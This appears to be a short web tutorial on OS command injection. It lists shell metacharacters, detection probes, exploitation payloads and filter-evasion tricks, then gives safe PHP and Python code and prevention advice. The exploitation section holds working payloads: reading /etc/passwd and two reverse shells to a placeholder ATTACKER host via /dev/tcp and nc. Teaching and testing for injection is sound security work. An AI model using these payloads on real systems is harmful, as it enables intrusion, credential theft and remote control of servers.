Command Injection: Finding and Exploiting OS Command Injection Vulnerabilities

Command injection occurs when unsanitized user input is passed to a system shell. The OS executes injected commands with the web server privileges, often leading to full server compromise. It is listed in OWASP Top 10 (A03: Injection).

Shell Metacharacters

; command   # run after
| command   # pipe
&& command  # run if first succeeds
$(command)  # substitution
%0a command # newline

Detection

; sleep 10
& ping -c 10 127.0.0.1
; nslookup YOUR.burpcollaborator.net

Exploitation

; cat /etc/passwd
; bash -i >& /dev/tcp/ATTACKER/4444 0>&1
>; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i|nc ATTACKER 4444 >/tmp/f

Filter Evasion

{cat,/etc/passwd}
cat${IFS}/etc/passwd
c'a't /etc/passwd
wh\oami

Safe Code

// PHP - use escapeshellarg()
$ip = filter_var($_GET['ip'], FILTER_VALIDATE_IP);
system('ping -c 1 ' . escapeshellarg($ip));
// Python - avoid shell=True
subprocess.run(['ping','-c','1', validated_ip], shell=False)

Prevention: avoid shell commands entirely. Use native library functions. When unavoidable, allowlist inputs, pass arguments as arrays, and use escapeshellarg() in PHP or shell=False in Python subprocess calls.

Related Articles

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top